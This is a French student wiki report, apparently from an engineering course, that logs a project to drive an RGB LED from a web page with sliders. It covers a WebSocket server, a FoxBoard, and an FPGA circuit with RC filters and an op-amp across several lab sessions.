				<updated>2015-04-16T13:18:14Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie informatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb||Page Web - Curseurs]] [[Fichier:photoled.JPG|450px|thumb||Photo LED]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	</feed>